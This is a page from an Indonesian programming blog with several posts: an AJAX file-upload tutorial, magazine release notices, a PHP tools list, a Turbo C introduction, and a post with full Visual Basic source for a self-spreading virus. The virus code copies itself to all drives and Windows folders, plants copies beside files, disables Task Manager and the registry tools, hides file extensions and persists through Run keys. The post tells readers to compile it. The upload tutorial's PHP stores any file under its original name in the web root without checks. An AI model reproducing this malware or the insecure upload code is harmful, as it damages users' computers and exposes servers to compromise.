Showing posts with label Pemrograman. Show all posts
Showing posts with label Pemrograman. Show all posts

Sunday, March 24, 2013

Metode Ajax Untuk Upload File


Metode Ajax Untuk Upload File ~ Selamat malam sahabat Jaco, malam ini saya akan membahas bagaimana membuat form upload file beserta prosesnya dengan menggunakan teknik AJAX. Kalo sahabat Jaco belum mengetahui apa itu Ajax, silakan pelajari tutorial ini untuk dipelajari dasar-dasar menggunakan AJAX dengan menggunakan jQuery, yang merupakan salah satu framework javascript yang populer.
Sewaktu-waktu kita pasti membutuhkan yang namanya upload file dengan teknik AJAX, karena kebetulan variable $_FILES sendiri secara default sebenarnya tidak bisa diproses menggunakan HTTP Request, maka dari itu kita akan menggunakan library jQuery sehingga kita tidak perlu repot-repot membuat kode dari awal (zero code).
Di sini dibagi 2 penjelasan untuk masing-masing lingkup kode, yaitu kode untuk sisi client (HTML+JS) dan kode untuk sisi server (PHP) .

Sisi Client

AJAX secara default tidak dapat mengirimkan variable $_FILES melalui HTTP Request, oleh karena itu kita akan menggunakan library jQuery bernama AJAX File Upload Plugin. Library ini akan mensimulasikan Ajax melalui iFrame, sehingga pengiriman variable $_FILES dapat dilakukan. Prinsip yang dipakai sangat sederhana, yaitu pertama kita panggil kode pada server yang berfungsi untuk menangani proses upload menggunakan teknik AJAX. Selama proses upload tersebut berlangsung kita tampilkan indikator atau pesan tertentu kepada user. Server akan memberikan tanggapan berupa dokumen JSON yang berisi status berhasil atau tidaknya proses upload tersebut. Jika berhasil, server akan mengirimkan informasi tentang file yang telah di-upload tersebut dan selanjutnya kita tampilkan hasilnya, apakah file berhasil diupload atau tidak.
Buatlah sebuah file html, misalnya index.html di dalam sebuah folder, kemudian jangan lupa masukkan di dalam folder tersebut file jquery beserta file ajaxfileupload.js.
Di dalam file index.html (file client) kita akan buat sebuah file input dan tombol submit, seperti berikut ini:
        <form id="frm" enctype="multipart/form-data" method="post">
File <input id="file_input" type="file" name="file_input"> <input type="submit" value="Upload">
</form>
Setelah itu, mari kita buat html untuk menampilkan hasil upload berupa nama file (filename, type, dan ukuran file), buat di bawah form tersebut:
<div id="pesan" style="display: none">Silakan tunggu...</div>
<div id="result">
<table>
<tr>
<td>Nama file</td>
<td id="filename"></td>
</tr>
<tr>
<td>Ukuran</td>
<td id="size"></td>
</tr>
<tr>
<td>Type</td>
<td id="type">Type</td>
</tr>
</table>
</div>
Kemudian, tambahkan javascript di dalam tag <head> seperti berikut:
        <script type="text/javascript">
$(function(){
$("#frm").submit(function(){
$("#pesan").ajaxStart(function(){
$(this).show();
}).ajaxComplete(function(){
$(this).hide();
});
$.ajaxFileUpload({
url: "upload.php",
secureuri: false,
fileElementId: "file_input",
dataType: "json",
success: function (json, status){
if(json.status==1){
$('td#filename').html(json.filename);
$('td#size').html(json.size);
$('td#type').html(json.type);
}else{
alert('Upload GAGAL!');
}
}
});
return false;
});
});
</script>
Akan saya jelaskan arti javascript di atas :)
Pertama, ketika form dengan id frm disubmit, maka akan melakukan perintah ini:
  • Ketika memulai proses ajax, elemen dengan id pesan akan ditampilkan, akan menampilkan pesan Silakan tunggu...
  • $.ajaxFileUpload adalah perintah dari library Ajax File Upload
  • url adalah alamat file yang berada di sisi server (php)
  • fileElementId adalah id dari input form file
  • dataType adalah type data yang akan dijadikan response, bisa json atau xml, di sini kita menggunakan json
  • yang ada di dalam parameter success adalah perintah yang akan dijalankan ketika uploading dari sisi server selesai dijalankan
Sekarang kita akan membuat untuk sisi server, proses uploading dengan PHP :)
 

Sisi Server

Buatlah file PHP sebagai server side, beri nama upload.php dan simpan di dalam satu folder dengan file HTML di atas. Untuk mengupload file, kita akan menggunakan PHP native code, yaitu move_uploaded_file, adapun kode lengkapnya adalah:
<?php

if ($_FILES)
{
$tmp = $_FILES['file_input']['tmp_name'];
$type = $_FILES['file_input']['type'];
$size = $_FILES['file_input']['size'];
$filename = $_FILES['file_input']['name'];
$path = pathinfo($_SERVER['PHP_SELF']);
$destination = $path['dirname'] . '/' . $filename;
if (move_uploaded_file($tmp, $_SERVER['DOCUMENT_ROOT'] . $destination))
$status = 1;
else
$status = 2;

$hasil = array(
'status' => $status,
'filename' => $filename,
'type' => $type,
'size' => $size,
);
echo json_encode($hasil);
}
?>
Penjelasan dari kode di atas adalah:
  • Masing2 metadata dari input type file bernama file_input dimasukkan ke setiap variable, seperti tmp, type, size, dan filename
  • Jika sudah diupload file tmp ke destination yang ditentukan (tempat upload, di sini adalah root), maka set status menjadi 1, jika tidak, maka set status menjadi 2
  • Sekarang hasil upload kita masukkan ke dalam variable array bernama $hasil.
  • Di sini variable $hasil dengan struktur array php akan diubah menjadi json dengan menggunakan function json_encode($hasil), akan terbentuk json seperti berikut ini (walaupun tidak terlihat):
        [{
    'status': '1',
    'filename': 'jagocoding.jpg',
    'type': '189637',
    'type': 'image/jpeg'
    }]
Tutorial selesai, selamat mencoba :)

Saturday, February 23, 2013

[RILIS Nyankod.com] Magz Edisi 15 Lumpia Inheritance

[RILIS Nyankod.com] Magz Edisi 15 Lumpia Inheritance ~ Teman-teman Nyankoders Indonesia tepatnya pada tanggal 19 Februari 2013, Nyankod.com kembali merilis Majalah Edisi 15 Dengan judul Lumpia Inheritance.

Didalam Edisi ini Penulis Muhammad Singgih Sulfikar Ansori Mengangkat Pembahasan tentang Membuat Aplikasi Kotak saran dengan Ruby on Rails (RoR). dimana pada awalnya om ansori juga tidak tahu membuat aplikasi seperti itu, namun karna ide dari Atasan, Googleing sana sini, akhirnya om ansori Membuat aplikasi ini dan di buat dalam bentuk Magz Buat teman teman Nyankoders.

di Edisi ini Juga Memberikan Info datang dari Ukraina yaitu style-style CSS agar tidak coding CSS lagi seperti Twitter Bootstrap yang pernah digunakan di NyanAssistant. CSS ini dibuat oleh seorang Developher asalh Ukraina dengan nama Metro UI CSS.

dan ada juga Review dari sebuah aplikasi web buatan lokal Bernama Kroco, Aplikasi yang berfungsi untuk melakukan penyingkatan URL seperti Bit.ly dll.

dan tak lupa juga Komik-komik ala Programer dengan tema Mengungkapkan cinta Ala Programer


Bagi Teman-teman Yang ingin Mendownload Magazine Edisi 15 DISINI DISINI




Demikian Review Magz Edisi 15 Lumpia Inheritance, Semoga Bermanfaat Buat teman-teman Nyankoders.

[RILIS Nyankod.com] Magz14 Membuat Web Chat Dengan PHP dan jQuery

[RILIS Nyankod.com] Magz14 Membuat Web Chat Dengan PHP dan jQuery ~ Buat Teman-teman Nyankoders di indonesia, Tepatnya pada tanggal 14 Februari 2013, Nyankod.com kembali merilis Majalah Edisi 14 Dengan Judul Membuat Web Chat dengan Menggunakan PHP dan jQuery.

Pada edisi ini, Web Chat yang dibuat sangat Minimalis dan elegant, dan bagi saya ini cukup menantang jika ingin membangun web Chat bersama -sama dengan teman-teman sekampus atau teman-teman sekolah supaya komunikasi lebih nyaman dan bisa dibuat tergantung dengan kreasi kita sendiri.

Bagi Teman-teman yang ingin Mencoba untuk Membangun Web Chat Sendiri, bisa Mendownload Magz Edisi 14 nyankod.com DISINI




Demikian [RILIS Nyankod.com] Magz14 Membuat Web Chat Dengan PHP dan jQuery semoga bisa menambah wawasan teman-teman tentang php dan jQuery

Saturday, February 16, 2013

Tools Yang Diperlukan Untuk Belajar PHP

Tools Yang Diperlukan Untuk Belajar PHP ~ PHP Merupakan Pemrograman Web yang sangat Populer didunia, dimana saat ini hampir 98% website didunia menggunakan PHP. Namun untuk belajar PHP anda membutuhkan beberapa tools yang akan membantu anda untuk belajar PHP, berikut beberapa tools yang diperlukan untuk belajar PHP :

  • Komputer/Laptop
    Komputer/Laptop mungkin adalah perangkat yang paling recomended ada jika ingin belajar PHP, karena komputer lah yang akan menjadi wadah anda untuk belajar.
  • Web Server Virtual
    Web Server virtual yang cukup populer saat ini yaitu XAMPP, karena sudah include dengan mysql database dan apache sebagai engine web servernya.
  • Editor
    Editor digunakan untuk menulis listing PHP, editor yang sering digunakan untuk platform Windows adalah notepad dan wordpad, sedangkan untuk pengguna linux termasuk saya lebih sering menggunakan gedit, editor yang lain bisa menggunakan nano, pica dan vim.
  • Mysql Database
    Mysql database merupakan sebuah aplikasi yang berfungsi sebagai tempat penyimpanan database web yang nantinya akan di includekan kedalan web PHP, mysql sudah include didalam XAMPP
Itulah Beberapa Tools yang dibutuhkan untuk belajar pemrograman web PHP, semoga bisa membantu teman-teman yang ingin belajar PHP.

Monday, November 5, 2012

Membuat Virus Infected dengan menggunakan Visual Basic

Membuat Virus Infected dengan menggunakan Visual Basic ~ Artikel kali ini saya akan memperlihatkan cara membuat Virus menggunakan Visual Basic, sebelumnya saya akan menjelaskan viru itu apa.

Virus merupakan Program yang dibuat oleh seorang Programer untuk merusak file-file dalam komputer ataupun merusak file system komputer, sehingga komputer tidak bekerja secara optimal. salah satu pemrograman yang digunakan untuk membuat virus adalah Visual Basic ini.

Sekaran buka Project dan siapkan formnya. kemudian copy listing berikut ini di form

Option Explicit
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4'[=]
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal LDrive As String) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lBuffer As String,
ByVal xSize As Long) As Long
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As
WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As
WIN32_FIND_DATA) As Long

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal
lpNewFileName As String, ByVal bFaillExists As Long) As Long
Private pbMessage As Boolean
Private Function DriveType(Drive As String) As String
Dim cari As Long, kenali As String
If Len(penyimpan) = 1 Then penyimpan = penyimpan & ":\"
If Len(penyimpan) = 2 And Right$( penyimpan, 1) = ":" Then penyimpan = penyimpan & "\"
cari = GetDriveType(Drive)
Select Case cari
Case 2
kenali = "Removable Drive"
Case 3
kenali = "Fixed Drive"
Case 4
kenali = "Remote Drive"
Case 5
kenali = "CD-ROM"
Case 6
kenali = "RAM Disk"
Case Else
kenali = "Drive Doesn't Exist"
End Select
DriveType = kenali
End Function
Private Sub KopiKeDrive()
Dim ctr As Integer
Dim Drive As String
Dim x As Byte
ReDim Drives(0) As String
For ctr = 65 To 90
Drive = Chr(ctr) & ":\"
If DriveType(Drive) <> "Drive Doesn't Exist" Then
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Drive & "KageBunshinNinjutsu.exe"
End If
Next
End Sub

Private Sub Kopykewindow()
Dim ff As String * 255
Dim n As Long
n = GetWindowsDirectory(ff, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(ff, n) & "Nara.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\" & "Nara.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system32" & "Nara.exe"
End Sub

Public Sub GetFiles(path As String, subFolder As Boolean, Optional Pattern As String = "*.*")
Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackSlash(path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "C:\Windows\Nara.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "C:\Windows\Nara.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If
Wend
End If
If subFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern

End If
Wend
End If
FindClose hFile
Screen.MousePointer = vbDefault
End Sub
Private Function StripNulls(f As String) As String
StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function
Private Function AddBackSlash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackSlash = S & "\"
Else
AddBackSlash = S
End If
Else
AddBackSlash = "\"
End If
End Function
Private Sub Infeksi()
GetFiles "c:", True, ".doc"
GetFiles "d:", True, ".doc"
GetFiles "e:", True, ".doc"
End Sub
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub
Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub
Private Sub Kasi_integer()
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedVal
ue", 1
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DevaultValu
e", 1
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedV
alue", 2
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DevaultVal
ue", 2
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
CreateIntegerKey
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun", 1
End Sub
Private Sub Bertahan()
Dim petik As String
petik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Virus", petik & "C:\WINDOWS\System32\Nara.exe" & petik
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Virus", petik & "C:\WINDOWS\Nara.exe"& petik
CreateKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Virus", petik & "C:\WINDOWS\Nara.exe" & petik
CreateKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Virus", petik &
"C:\WINDOWS\System32\Nara.exe" & petik
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun\Virus", petik &
"C:\WINDOWS\System32\ Nara.exe" & petik
End Sub
Private Sub form_click()
App.TaskVisible = False
Me.visible = false
KopiKeDrive
Kopykewindow
Infeksi
Kasi_integer
Bertahan
End Sub


Selesai dan compile . . . dan saran saya jangan uji coba di komputer sendiri
Demikian Artikel tentang Cara Memebuat Virus Infected dengan Menggunakan Visual Basic

Friday, September 14, 2012

Dasar Pemrograman Bahasa C++

Dasar Pemrograman Bahasa C++ ~ Dalam Artikel yang akan dibahas kali ini yaitu tentang Bahasa Pemrograman C++ yang merupakan salah satu dari ribuan Pemrograman yang ada saat ini, karena Judul ini adalah Post Pertama Mengenai Pemrograman C, maka yang paling dasar yang harus Diketahui adalah asal dari Pemrograman ini.



A. Sejarah
Bahasa C merupakan perkembangan dari bahasa BCPL yang dikembangkan oleh Martin Richards pada tahun 1967. Selanjutnya bahasa ini memberikan ide kepada Ken Thompson yang kemudian mengembangkan bahasa yang disebut bahasa B pada tahun 1970. Perkembangan selanjutnya dari bahasa B adalah bahasa C oleh Dennis Ricthie sekitar tahun 1970-an di Bell Telephone Laboratories Inc. (sekarang adalah AT&T Bell Laboratories). Bahasa C pertama kali digunakan di computer Digital Equipment Corporation PDP-11 yang menggunakan system operasi UNIX. Hingga saat ini penggunaan bahasa C telah merata di seluruh dunia.




Hampir semua perguruan tinggi di dunia menjadikan bahasa C sebagai salah satu mata kuliah wajib. Selain itu, banyak bahasa pemrograman populer seperti PHP dan Java menggunakan sintaks dasar yang mirip bahasa C. Oleh karena itu, kita juga sangat perlu mempelajarinya.

B. Mengenal Editor Bahasa C 

1. Memulai Bahasa C
Buka Editor Bahasa C yang ada, seperti Bordland C, Turbo C, dan sebagainya. Semua
program yang ada di tutorial ini bisa dicoba Turbo C.
 

Sekilas Mengenai Editor Turbo C
  • Untuk mengkompilasi Program, langkah-langkahnya sbb :
♦ Pilih menu Compile dengan menekan Alt + C
♦ Pilih Submenu Compile
♦ Enter dan
Akan ditampilkan hasil kompilasi Program, tekan sembarang tombol 

  • Untuk menjalankan program :
♦ Pilih menu Run dengan menekan Alt + R
♦ Pilih submenu Run dan tekan Enter


2. Menu-Menu dalam Turbo C
File , terdiri dari :
(1) New, untuk memulai program baru
(2) Open, untuk mengambil atau membuka program
(3) Save, untuk menyimpan file/program
(4) Save as, untuk menyimpan file/program
(5) Save all, untuk menyimpan seluruh file/program
(6) Change dir, untuk mengubah directory
(7) Print, untuk mencetak program
(8) DOS Shell, untuk menuju ke DOS Shell
(9) Quit, untuk keluar dari Turbo C

Edit, terdiri dari :
(1) Undo, untuk membatalkan pengeditan terakhir
(2) Redo, untuk kembali ke pengeditan terakhir yang telah di undo.
(3) Cut, untuk memotong bagian tertentu dari program.
(4) Copy, untuk menduplikasi bagian program
(5) Paste
(6) Clear, untuk menghapus bagian tertentu dari program
(7) Copy example
(8) Show Clipboard

Search, terdiri dari :
(1) Find…
(2) Replace…
(3) Search again
(4) Previous error
(5) Next error
(6) Locate function…

Run, terdiri dari :
(1) Run…, untuk menjalankan program
(2) Program reset
(3) Go to cursor
(4) dst

Compile, terdiri dari :
(1) Compile, untuk mengkompilasi program
(2) Make
(3) Link
(4) Build all, dst

Debug, terdiri dari
(1) Inspect
(2) Evaluate/modify
(3) Dst

Project, terdiri dari :
(1) Open project
(2) Close project
(3) dst

Options, terdiri dari :
(1) Application
(2) Compiler
(3) Transfer
(4) Dst

Window, terdiri dari :
(1) Size/Move
(2) Zoom
(3) Tile
(4) Cascade
(5) Next
(6) dst

Help, terdiri dari
(1) Contens
(2) Index
(3) Topic search
(4) Previous topic
(5) dst

Demikianlah Artikel tentang Dasar Pemrograman Bahasa C++ semoga bisa menjadi tambahan referensi buat teman-teman yang memerlukan.

Terima Kasih . . !

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes |